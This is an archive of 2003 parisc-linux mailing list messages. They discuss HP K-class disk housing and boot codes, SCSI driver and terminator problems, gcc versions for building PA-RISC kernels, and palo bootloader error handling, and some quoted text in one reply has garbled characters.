Ah, yes, the K250 is BIG, but there's only room for 4 disks! Stupid!
I've placed one disk beside the CD-rom, connected to the other
controller, and the last disk in an external cabinet =)

I've wondered if it would not be possible to modify the housing to get
room for more disks... Would it be immoral of me to destroy the beauty
of a K250 by cutting some holes here and there? =)


-- 
Stian Siland Work toward win-win situation. Win-lose
Trondheim, Norway is where you win and the other lose.
http://www.soiland.no/ Lose-lose and lose-win are left as an
exercise to the reader. [Limoncelli/Hogan]
K250 at http://beist.ntnu.nu/ =) 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

---------------------------------
Do you Yahoo!?
Free online calendar with sync to Outlook(TM).
--0-793362612-1054517676=:90307
Content-Type: text/html; charset=us-ascii

<DIV>I could tell you what all those codes are upon boot-up, but it would take awile.&nbsp;&nbsp;They take up half of the K-Class Service Manual.... ;)&nbsp; The K-Class manual is not posted on the web, but if you ever have any fault codes scrolling on your terminal or on the LCD I'm sure someone here can help decifer them.&nbsp; It will actually say FLT XXXX or WARN XXXX.&nbsp; Warnings will not typically not affect system start-up.&nbsp; By the way, the way the disks mount in that internal drive housing I think it would be futile to even try to mount anymore disks in there.&nbsp; Plus you would need a longer/terminated HVD cable with more drive connectors.&nbsp; You are better off using an external enclosure slaved off of the 10/0 bus which is the external extension of the internal disk 
 cage.</DIV>
<DIV>&nbsp;</DIV>
<DIV>derek<BR><BR><BR><B><I>Stian Siland &lt;stian@soiland.no&gt;</I></B> wrote:</DIV>
<BLOCKQUOTE style="PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #1010ff 2px solid">On 2003-05-31 15:54:36, Siraj 'Sid' Rakhada wrote:<BR><BR>&gt; If you skip this step, Debian will boot, but you will be unable to use the<BR>&gt; console.<BR>&gt; Note I have not actually done the above when I was installing - I cheated<BR>&gt; and installed sshd via a chroot setup - because I did not realise the<BR>&gt; ttyB0 major number was incorrect on the install CD. I'm expecting that<BR>&gt; modifying the device as above should work. If I had more time I would have<BR>&gt; tried the above method.<BR><BR>For later boots, devfs and devfsd should be able to handle this if your<BR>kernel supports it.<BR><BR>&gt; This is also the first time I've ever really used a HP box, and they are<BR>&gt; ... inte
 resting :) e.g. is it normal that the machine will take about 10+<BR>&gt; minutes to boot up? (just to get to the boot ROM, nothing to do with linux<BR>&gt; - self tests are enabled, though disabilng them does not make too much of<BR>&gt; a difference).<BR><BR>Oh yeah, my K250 takes ages just to get started, the LCD display and<BR>status line on the serial console changes with different numbers. Any<BR>idea of what all those numbers mean? I suppose they are different parts<BR>that are tested, but a translation would be nice. <BR><BR>My manuals does not explain these messages in detail..<BR><BR>How ever, nice guide, I wish I had it when I set up my system =)<BR><BR><BR>... goes off-topic:<BR><BR>I have 6 SCSI disks connected, distributed in two raid1-sets for / and<BR>/usr, and a raid5-se
 t for /home. Some of the disks are 4 GB, the rest 2<BR>GB, so I've done dirty tricks with partitions to get the whole thing up,<BR>and not waisting any space, and I now even have a spare disk, although<BR>tests reveal the disk is broken.. I've managed to get two more 2<BR>GB-disk to replace it.. =)<BR><BR>Ah, yes, the K250 is BIG, but there's only room for 4 disks! Stupid!<BR>I've placed one disk beside the CD-rom, connected to the other<BR>controller, and the last disk in an external cabinet =)<BR><BR>I've wondered if it would not be possible to modify the housing to get<BR>room for more disks... Would it be immoral of me to destroy the beauty<BR>of a K250 by cutting some holes here and there? =)<BR><BR><BR>-- <BR>Stian Siland Work toward win-win situation. Win-lose<BR>Trondheim, Norwa
 y is where you win and the other lose.<BR>http://www.soiland.no/ Lose-lose and lose-win are left as an<BR>exercise to the reader. [Limoncelli/Hogan]<BR>K250 at http://beist.ntnu.nu/ =) <BR>_______________________________________________<BR>parisc-linux mailing list<BR>parisc-linux@lists.parisc-linux.org<BR>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux</BLOCKQUOTE><p><hr SIZE=1>
Do you Yahoo!?<br>
Free <a href="http://us.rd.yahoo.com/mail_us/tag/*http://calendar.yahoo.com">online calendar</a> with sync to Outlook(TM).
--0-793362612-1054517676=:90307--


From - Thu Nov 08 21:27:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] compiler & kernel
Date: Mon, 2 Jun 2003 09:10:53 +0100 (IST)
Lines: 79
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0305311445540.3474-100000@sal.ucc.ie>
References: <3ED886A1.10605@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622490 26352 80.91.229.3 (22 Nov 2014 02:14:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <joel.soete@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun  2 02:10:58 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id CD4DB4829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  2 Jun 2003 02:10:57 -0600 (MDT)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with ESMTP id h528Ar619893;
	Mon, 2 Jun 2003 09:10:53 +0100
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <3ED886A1.10605@tiscali.be>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18590

On Sat, 31 May 2003, Joel Soete wrote:

> M. Grabert wrote:
>
> >[...]
> >
> >Oh yes, one important issue:
> >I have this 'target suffers from tag starvation' problem as some others
> >seem to have aswell. I just have a 20GB SE SCSI (50 pin), no other SCSI
> >devices (the original internal UW-SCSI drive is in my AlphaStation now).
> > [...]
>
> Which scsi driver do you used (I presume a Symbios one but version 1 or
> 2; version 2 is recommended now in 2.4.20-pa..)?

I have/had this problems with both (old/new) Symbios drivers!
The problems are fixed for any Symbios driver when I use an older version
of 53x700 driver. I did extensive testing (for kernel with driver version
1 and 2) for 2 days before I was conviced that this 'fix' actually works.

Right now the kernel I currently use (with the longest uptime for months
so far) is using the Symbios v1 driver, but as I said v2 works now aswell!

> OTC this w-e I still experiment such a scsi terminator pb: I recover a
> lvd 30gb scsi-disk (sun); I find a converter sca2 80pins sca 64pins but
> a cable with terminator for hvd disk. The disk seems to works fine
> untill the terminator warm to much then I got scsi parity errors. And
> without terminator the controler do not see the disk at all?

That's actually the first time that I hear of a SCSI terminator
overheating. Perhaps you shouldn't overclock your SCSI bus then ;))))

But seriously, I have had lots of troubles with 80pins to 64pins
converters and UW to U-SCSI converters. Quite often they didn't work
for some harddisk and others worked fine. I don't trust these converters!

> >hppa64-gcc (3.2.3, from ftp.p-l.org unofficial-debs)
> >  seems to work fine but obviously ipt_limit.o is miscompiled:
> >  I can insmod it, but iptable wouldn't recognize the --limit* options.
> >  There are still some problems with some modules and canonicalize_funcptr,
> >
> Are you sure this is with hppa64-gcc (iirc canonicalize.., was just
> recently backport to 3.2)?
>
> [...]

I thought so. The canonicalize_* stuff showed up when compiling with
gcc-3.3 (I forgot this to mention), but I thought they showed up in
3.2 (64bit). Maybe I just can't remeber this one correctly.
But the iptable_limit error is definitely a hppa64-gcc-3.2.3 issue
(or a kernel issue with hppa64 ;)
>
> >  Man, gcc-3.3 is SLOW! it takes ages to compile the kernel!
> >
> >  Kernel compiled with 3.3 definitely have a bogomips problem (they report
> >  0.8 instead of about 470 on a C240);

This might actually be PA8000 specific ...

> >  The kernel takes forever to boot up (it 'waits' for over one minute
> >  after palo loads the kernel (right after the 'switch to another console'
> >  message)), propably because of the bogomips calculation.

...my PA book with the same kernel & gcc-3.3 doesn't hang!

> >  Also the userspace programme 'bogomips' has the same issue.
> >
> >  Apart to make from this issues, gcc-3.3 produces a kernel that is at
> >  least as stable as those compiled with 3.0 or 3.2

I'll send the config file as soon as I'm back home (tomorrow)

> btw which gcc-3.3 release do you use?

the latest in testing (no prerelease anymore)

 Max



From - Thu Nov 08 21:27:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] compiler & kernel
Date: Mon, 2 Jun 2003 12:11:15 +0200
Lines: 144
Approved: news@gmane.org
Message-ID: <3ED70CF100000B3C@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622490 26356 80.91.229.3 (22 Nov 2014 02:14:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>,
	"Joel Soete" <joel.soete@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun  2 04:11:23 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (unknown [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 90B114829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  2 Jun 2003 04:11:23 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 19MmH3-00049I-00; Mon, 02 Jun 2003 12:10:41 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Mon, 2 Jun 2003 12:11:15 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18591

Hi Max,

>
>On Sat, 31 May 2003, Joel Soete wrote:

> M. Grabert wrote:
>
> >[...]
> >
> >Oh yes, one important issue:
> >I have this 'target suffers from tag starvation' problem as some others
> >seem to have aswell. I just have a 20GB SE
SCSI (50 pin), n
> other SCSI
> >devices (the original internal UW-SCSI drive is in my AlphaStation now).
> > [...]
>
> Which scsi driver do you used (I presume a Symbios one but version 1 or
> 2; version 2 is recommended now in 2.4.20-pa..)?


 have/had this pro
>lems with both (old/new) Symbios drivers!
The problems are fixed for any Symbios driver when I use an older version
of 53x700 driver. I did extensive testing (for kernel with driver version
1 and 2) for 2 days before I was convi
ed that this 'fix' a
>tually works.

Right now the kernel I currently use (with the longest uptime for months
so far) is using the Symbios v1 driver, but as I said v2 works now aswell!

Curious, last v2 I do not have any more pb (neither on b180 
or b2k, N).
(that doesn't mean that I don't trust you; just share info)

I just install a 36Gb lvd disk on my b2k (ST336704LC HP supply) on the built
in scsi-controler which is of model <895a>(,rev 0x1) and all seems to works
fine.

> OTC this w
e I still experiment such a scsi terminator pb: I recover a
> lvd 30g
> scsi-disk (sun); I find a converter sca2 80pins sca 64pins but
> a cable with terminator for hvd disk. The disk seems to works fine
> untill the terminator warm to much then I 
ot scsi parity errors. And
> without terminator the controler do not se
> the disk at all?

That's actually the first time that I hear of a SCSI terminator
overheating. Perhaps you shouldn't overclock your SCSI bus then ;))))

But seriously, I h
ve had lots of troubles with 80pins to 64pins
converters and UW to U-SCSI
>converters. Quite often they didn't work
for some harddisk and others worked fine. I don't trust these converters!

Hmm to say everything: the converter came from a interna
 UW-disk of a k360,
the cable and its terminator from a D380 and nothing was foreseen for new
lvd :(.
(but that was just a do-it-yourself test because no shop of scsi spare part
near home :O )

> >hppa64-gcc (3.2.3, from ftp.p-l.org unofficial-de
s)
> >  seems to work fine but obviously ipt_limit.o is miscompiled:
> >  I ca
> insmod it, but iptable wouldn't recognize the --limit* options.
> >  There are still some problems with some modules and canonicalize_funcptr,
> >
> Are you sure thi
 is with hppa64-gcc (iirc canonicalize.., was just
> recently backport to 3.2)?

>
> [...]

I thought so. The canonicalize_* stuff showed up when compiling with
gcc-3.3 (I forgot this to mention), but I thought they showed up in
3.2 (64bit). Ma
be I just can't remeber this one correctly.
But the iptable_limit error is definite
>y a hppa64-gcc-3.2.3 issue
(or a kernel issue with hppa64 ;)

Well gcc-hppa64 pkg is a bit out dated but that is all is available.
And I do not found courage to 
oolchain the last gcc-3.3 :(

>
> >  Man, gcc-3.3 is SLOW! it takes ages to compile the kernel!
> >
> >  Kernel compiled with 3.3 definitely have a bogomips problem (they report
> >  0.8 instead of about 470 on a C2
>0);

This might actually b
 PA8000 specific ...

> >  The kernel takes forever to boot up (it 'waits' for over one minute
> >  after palo loads the kernel (right after the 'switch to another console'
> >  message)), propably because of the bogomi
>s calculation.

...my PA
book with the same kernel & gcc-3.3 doesn't hang!

> >  Also the userspace programme 'bogomips' has the same issue.
> >

Sorry could not help (no clue of what bogomips is: just see on my i386 but
no trace in my hppa dmesg?)

> >  Apart to make 
rom this issues, gcc-3.3 produces a kernel that is at
> >  least as stable as th
>se compiled with 3.0 or 3.2

I'll send the config file as soon as I'm back home (tomorrow)

No problem (I curoius to compare on the hw I test here)

> btw which g
c-3.3 release do you use?

the latest in testing (no prerelease anymore)

Well I used last unstable, let see


Joel




---------------------------------
Dcouvrez les 6 cls et gagnez le Club Med  Vie avec Tiscali
http://www.tiscali.be/nl/subs/tiscali4life/default.asp?lang=fr




From - Thu Nov 08 21:27:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] compiler & kernel
Date: Mon, 2 Jun 2003 13:32:20 -0400 (EDT)
Lines: 22
Approved: news@gmane.org
Message-ID: <200306021732.h52HWKNp010654@hiauly1.hia.nrc.ca>
References: <3ED886A1.10605@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622490 26362 80.91.229.3 (22 Nov 2014 02:14:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:50 +0000 (UTC)
Cc: xam@cs.ucc.ie, parisc-linux@lists.parisc-linux.org
To: joel.soete@tiscali.be (Joel Soete)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun  2 11:33:10 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6DF614829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  2 Jun 2003 11:33:09 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h52HWMgL010655;
	Mon, 2 Jun 2003 13:32:22 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h52HWKNp010654;
	Mon, 2 Jun 2003 13:32:20 -0400 (EDT)
In-Reply-To: <3ED886A1.10605@tiscali.be> from "Joel Soete" at May 31, 2003 10:40:33 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18592

> >hppa64-gcc (3.2.3, from ftp.p-l.org unofficial-debs)
> >  seems to work fine but obviously ipt_limit.o is miscompiled:
> >  I can insmod it, but iptable wouldn't recognize the --limit* options.
> >  There are still some problems with some modules and canonicalize_funcptr,
> >
> Are you sure this is with hppa64-gcc (iirc canonicalize.., was just 
> recently backport to 3.2)?

hppa64-gcc does not canonicalize function pointers.

> >  Man, gcc-3.3 is SLOW! it takes ages to compile the kernel!

I suspect this is related to changes in the inlining model.  This is
definitely a problem with certain C++ applications.  If anybody can
generate profile and/or pass timing data for 3.3 versus 3.0.4, I
would like to see them.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:27:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palo II
Date: Mon, 2 Jun 2003 12:14:51 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <20030602181451.GB31212@dsl2.external.hp.com>
References: <Pine.BSF.4.53.0306011303040.1237@e0-0.zab2.int.zabbadoz.net> <200306011543.59335.deller@gmx.de> <Pine.BSF.4.53.0306011402580.1237@e0-0.zab2.int.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622490 26364 80.91.229.3 (22 Nov 2014 02:14:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:50 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, parisc-linux@lists.parisc-linux.org
To: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun  2 12:14:51 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 2F23C4829; Mon,  2 Jun 2003 12:14:51 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <Pine.BSF.4.53.0306011402580.1237@e0-0.zab2.int.zabbadoz.net>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18593

On Sun, Jun 01, 2003 at 02:05:20PM +0000, Bjoern A. Zeeb wrote:
> When palo cannot open the kernel and errors out shouldn't it fall back
> to the dialog and ask one to which fields to change instead of simply
> running into a dead end where I think I can only recover from with
> physical access to the machine ?

The same issue has annoyed me too.
But not enough to hack on palo. I only work on machines remotely
if I have remote power control (eg A500).

Paul Bame is happy to take any patches people have to improve
this behaviour.  Source is available via anon CVS:
	cvs -d pserver:anonymous@cvs.parisc-linux.org login
	cvs -d pserver:anonymous@cvs.parisc-linux.org co palo

hth,
grant


From - Thu Nov 08 21:27:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palo II
Date: Mon, 2 Jun 2003 18:29:45 +0000 (UTC)
Lines: 32
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.53.0306021827240.1237@e0-0.zab2.int.zabbadoz.net>
References: <Pine.BSF.4.53.0306011303040.1237@e0-0.zab2.int.zabbadoz.net>
 <200306011543.59335.deller@gmx.de> <Pine.BSF.4.53.0306011402580.1237@e0-0.zab2.int.zabbadoz.net>
 <20030602181451.GB31212@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622491 26365 80.91.229.3 (22 Nov 2014 02:14:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:51 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun  2 12:30:06 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from transport.cksoft.de (transport.cksoft.de [62.111.66.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id D19BE4829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  2 Jun 2003 12:30:05 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by transport.cksoft.de (Postfix) with ESMTP
	id 1204C1FFF07; Mon,  2 Jun 2003 20:29:59 +0200 (CEST)
Original-Received: by transport.cksoft.de (Postfix, from userid 66)
	id E94661FFF24; Mon,  2 Jun 2003 20:29:57 +0200 (CEST)
Original-Received: by mail.int.zabbadoz.net (Postfix, from userid 1060)
	id 95DB51537F; Mon,  2 Jun 2003 18:29:44 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by mail.int.zabbadoz.net (Postfix) with ESMTP
	id 8B84D1532F; Mon,  2 Jun 2003 18:29:45 +0000 (UTC)
X-X-Sender: bz@e0-0.zab2.int.zabbadoz.net
In-Reply-To: <20030602181451.GB31212@dsl2.external.hp.com>
X-Virus-Scanned: by AMaViS snapshot-20020300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18594

On Mon, 2 Jun 2003, Grant Grundler wrote:

Hi,

> On Sun, Jun 01, 2003 at 02:05:20PM +0000, Bjoern A. Zeeb wrote:
> > When palo cannot open the kernel and errors out shouldn't it fall back
> > to the dialog and ask one to which fields to change instead of simply
> > running into a dead end where I think I can only recover from with
> > physical access to the machine ?
>
> The same issue has annoyed me too.
> But not enough to hack on palo. I only work on machines remotely
> if I have remote power control (eg A500).
>
> Paul Bame is happy to take any patches people have to improve
> this behaviour.  Source is available via anon CVS:
> 	cvs -d pserver:anonymous@cvs.parisc-linux.org login
> 	cvs -d pserver:anonymous@cvs.parisc-linux.org co palo

on sunday eve I already dowloaded 1.2 src tarball and had a quick look
at it. I may come up with a very dirty quick hack but I really hate
gotos in C.

The Problem is that I am currently in the middle of my final exams.
Perhaps I might come up with a patch next weekend.

-- 
Greetings

Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/


From - Thu Nov 08 21:27:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthias Klose <doko@cs.tu-berlin.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] compiler & kernel
Date: Mon, 2 Jun 2003 21:05:51 +0200
Lines: 11
Approved: news@gmane.org
Message-ID: <16091.40975.478813.232803@gargle.gargle.HOWL>
References: <3ED70CF100000B3C@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622491 26367 80.91.229.3 (22 Nov 2014 02:14:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Joel Soete" <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun  2 13:09:08 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.cs.tu-berlin.de (mail.cs.tu-berlin.de [130.149.17.13])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2FCAC4829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  2 Jun 2003 13:09:07 -0600 (MDT)
Original-Received: from bolero.cs.tu-berlin.de (daemon@bolero.cs.tu-berlin.de [130.149.19.1])
	by mail.cs.tu-berlin.de (8.9.3/8.9.3) with ESMTP id VAA22508;
	Mon, 2 Jun 2003 21:05:51 +0200 (MET DST)
Original-Received: (from doko@localhost)
	by bolero.cs.tu-berlin.de (8.11.6+Sun/8.9.3) id h52J5pO19406;
	Mon, 2 Jun 2003 21:05:51 +0200 (MEST)
In-Reply-To: <3ED70CF100000B3C@ocpmta2.freegates.net>
X-Mailer: VM 7.03 under 21.4 (patch 6) "Common Lisp" XEmacs Lucid
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18595

Joel Soete writes:
> Well gcc-hppa64 pkg is a bit out dated but that is all is available.
> And I do not found courage to 
> oolchain the last gcc-3.3 :(

maybe it worth adding the biarch patch that debian-{sparc,s390,i386}
add for hppa as well, so you can use gcc-3.3 -m64 to build. binutils
